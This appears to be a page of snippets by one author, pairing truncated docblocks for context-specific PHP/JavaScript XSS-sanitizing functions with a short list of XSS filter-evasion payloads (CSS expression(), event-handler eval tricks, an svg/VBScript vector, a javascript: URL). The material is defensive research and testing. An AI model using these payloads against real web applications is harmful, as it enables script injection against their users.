soaj1664

soaj1664

<?php

    /**
     * XSS protection function for HTML context only
     * @usecases
     * <title>use this function if output reflects here or as a content of any HTML tag.</title>
     * e.g.,  <span>use this function if output reflects here</span>
     * e.g., <div>use this function if output reflects here</div>
     * @description
     * Sanitize/Filter < and > so that attacker can not leverage them for JavaScript execution.

soaj1664

<!--
/**
 * XSS protection function for script context only
 * @usecases
 * @double quoted JavaScript string literal case e.g.,
 * <script> var searchquery = "use this function if output reflects here"; </script>
 * @single quoted JavaScript string literal case e.g.,
 * <script> var searchquery = 'use this function if output reflects here'; </script>
 * < is filtered because an attacker can prematuraley closes the script block
 * @description

soaj1664

<!--
/**
 * XSS protection function for style context only
 * @usecases
 * @double quoted case e.g.,
 * <span style="use this function if output reflects here"></span>
 * @single quoted case e.g.,
 * <div style='use this function if output reflects here'></div>
 * OR <style>use this function if output reflects here</style>
 * @description

soaj1664

`xss <javascript:alert%28location%29>`_

soaj1664

<div style="color:rgb(''&#0;x:expression(alert(1))"></div> 

<img/src=%00 id=confirm(1) onerror=eval(id) 

<div id=confirm(1) onmouseover=eval(id)>X</div> 

<span/onmouseover=confirm(1)>X</span>

<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))